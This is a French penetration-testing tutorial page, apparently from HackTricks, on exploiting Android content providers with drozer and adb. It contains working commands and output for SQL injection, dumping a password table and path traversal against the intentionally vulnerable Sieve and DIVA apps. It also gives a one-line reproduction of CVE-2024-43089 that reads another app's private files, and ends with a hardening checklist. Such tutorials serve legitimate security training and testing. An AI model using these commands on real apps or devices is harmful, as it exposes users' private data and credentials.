# Exploiter les fournisseurs de contenu {{#include ../../../banners/hacktricks-training.md}} ## Intro Les données sont **fournies d'une application à d'autres** sur demande par un composant connu sous le nom de **fournisseur de contenu**. Ces demandes sont gérées par les méthodes de la **classe ContentResolver**. Les fournisseurs de contenu peuvent stocker leurs données à divers endroits, tels qu'une **base de données**, des **fichiers** ou sur un **réseau**. Dans le fichier _Manifest.xml_, la déclaration du fournisseur de contenu est requise. Par exemple : ```xml ``` Pour accéder à `content://com.mwr.example.sieve.DBContentProvider/Keys`, la permission `READ_KEYS` est nécessaire. Il est intéressant de noter que le chemin `/Keys/` est accessible dans la section suivante, qui n'est pas protégée en raison d'une erreur du développeur, qui a sécurisé `/Keys` mais a déclaré `/Keys/`. **Peut-être pouvez-vous accéder à des données privées ou exploiter une vulnérabilité (Injection SQL ou Traversée de chemin).** ## Obtenir des informations à partir de **content providers exposés** ``` dz> run app.provider.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Authority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS Authority: com.mwr.example.sieve.FileBackupProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False ``` Il est possible de reconstituer comment atteindre le **DBContentProvider** en commençant les URIs par “_content://_”. Cette approche est basée sur des informations obtenues en utilisant Drozer, où des informations clés se trouvaient dans le _/Keys_ répertoire. Drozer peut **deviner et essayer plusieurs URIs** : ``` dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` Vous devriez également vérifier le **code ContentProvider** pour rechercher des requêtes : ![](<../../../images/image (121) (1) (1) (1).png>) De plus, si vous ne trouvez pas de requêtes complètes, vous pourriez **vérifier quels noms sont déclarés par le ContentProvider** dans la méthode `onCreate` : ![](<../../../images/image (564).png>) La requête sera comme : `content://name.of.package.class/declared_name` ## **Content Providers basés sur une base de données** Probablement, la plupart des Content Providers sont utilisés comme **interface** pour une **base de données**. Par conséquent, si vous pouvez y accéder, vous pourriez être en mesure d'**extraire, mettre à jour, insérer et supprimer** des informations.\ Vérifiez si vous pouvez **accéder à des informations sensibles** ou essayez de les modifier pour **contourner les mécanismes d'autorisation**. En vérifiant le code du Content Provider, **regardez** également les **fonctions** nommées comme : _query, insert, update et delete_ : ![](<../../../images/image (887).png>) ![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>) Parce que vous serez en mesure de les appeler ### Query content ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical _id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== - email: incognitoguy50@gmail.com ``` ### Insérer du contenu En interrogeant la base de données, vous apprendrez le **nom des colonnes**, puis vous pourrez insérer des données dans la DB : ![](<../../../images/image (98).png>) ![](<../../../images/image (173).png>) _Remarque : dans insert et update, vous pouvez utiliser --string pour indiquer une chaîne, --double pour indiquer un double, --float, --integer, --long, --short, --boolean_ ### Mettre à jour le contenu En connaissant le nom des colonnes, vous pourriez également **modifier les entrées** : ![](<../../../images/image (780).png>) ### Supprimer le contenu ![](<../../../images/image (423).png>) ### **Injection SQL** Il est simple de tester l'injection SQL **(SQLite)** en manipulant les **champs de projection** et **de sélection** qui sont passés au fournisseur de contenu.\ Lors de l'interrogation du Content Provider, il y a 2 arguments intéressants pour rechercher des informations : _--selection_ et _--projection_ : ![](<../../../images/image (784).png>) Vous pouvez essayer de **profiter** de ces **paramètres** pour tester des **injections SQL** : ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') ``` ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE ... | | table | Passwords | Passwords | 4 | CREATE TABLE ... | ``` **Découverte automatique des injections SQL par Drozer** ``` dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Injection in Projection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ Injection in Selection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ dz> run scanner.provider.sqltables -a jakhar.aseem.diva Scanning jakhar.aseem.diva... Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/: android_metadata notes sqlite_sequence ``` ## **Fournisseurs de contenu basés sur le système de fichiers** Les fournisseurs de contenu peuvent également être utilisés pour **accéder aux fichiers :** ![](<../../../images/image (407).png>) ### Lire **le fichier** Vous pouvez lire des fichiers à partir du fournisseur de contenu. ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` ### **Path Traversal** Si vous pouvez accéder à des fichiers, vous pouvez essayer d'abuser d'un Path Traversal (dans ce cas, ce n'est pas nécessaire, mais vous pouvez essayer d'utiliser "_../_" et des astuces similaires). ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` **Découverte automatique de la traversée de chemin par Drozer** ``` dz> run scanner.provider.traversal -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Vulnerable Providers: content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.FileBackupProvider ``` ## Mises à jour 2023-2025 & conseils modernes ### Drozer 3.x (Python 3) est sorti WithSecure a repris la maintenance de drozer en 2022 et a porté le framework sur **Python 3** (dernier **3.1.0 – Avril 2024**). En plus des corrections de compatibilité, de nouveaux modules particulièrement utiles lors du travail avec les Content Providers incluent : * `scanner.provider.exported` – liste uniquement les providers avec `android:exported="true"`. * `app.provider.grant` – appelle automatiquement `grantUriPermission()` afin que vous puissiez communiquer avec les providers qui attendent `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` sur Android 12+. * Meilleure gestion du **Scoped Storage** afin que les providers basés sur des fichiers sur Android 11+ puissent toujours être atteints. Mettez à jour (hôte & agent) : ```bash pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0" adb install drozer-agent-3.1.0.apk ``` ### Utilisation de l'outil intégré `cmd content` (ADB ≥ 8.0) Tous les appareils Android modernes sont équipés d'une CLI qui peut interroger/met à jour les fournisseurs **sans installer d'agent** : ```bash adb shell cmd content query --uri content://com.test.provider/items/ adb shell cmd content update --uri content://com.test.provider/items/1 \ --bind price:d:1337 adb shell cmd content call --uri content://com.test.provider \ --method evilMethod --arg 'foo' ``` Combinez-le avec `run-as ` ou un shell rooté pour tester les fournisseurs réservés aux internes. ### CVEs récents du monde réel qui ont abusé des Content Providers | CVE | Année | Composant | Classe de bug | Impact | |-----|-------|-----------|---------------|--------| | CVE-2024-43089 | 2024 | MediaProvider | Traversée de chemin dans `openFile()` | Lecture de fichiers arbitraires à partir du stockage privé de n'importe quelle application | | CVE-2023-35670 | 2023 | MediaProvider | Traversée de chemin | Divulgation d'informations | Recréez CVE-2024-43089 sur une version vulnérable : ```bash adb shell cmd content read \ --uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml ``` ### Liste de contrôle de durcissement pour API 30+ * Déclarez `android:exported="false"` à moins que le fournisseur **doit** être public – à partir de l'API 31, l'attribut est obligatoire. * Appliquez des **permissions** et/ou `android:grantUriPermissions="true"` au lieu d'exporter l'ensemble du fournisseur. * Mettez sur liste blanche les arguments `projection`, `selection` et `sortOrder` autorisés (par exemple, construisez des requêtes avec `SQLiteQueryBuilder.setProjectionMap`). * Dans `openFile()`, canonisez le chemin demandé (`FileUtils`) et rejetez les séquences `..` pour éviter le parcours. * Lors de l'exposition de fichiers, préférez le **Storage Access Framework** ou un `FileProvider`. Ces changements dans les versions récentes d'Android signifient que de nombreux primitives d'exploitation héritées fonctionnent toujours, mais nécessitent des drapeaux/permissions supplémentaires que les modules drozer mis à jour ou l'outil `cmd content` peuvent appliquer automatiquement. ## Références - [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm) - [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) - [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf) - [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0) - [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01) {{#include ../../../banners/hacktricks-training.md}}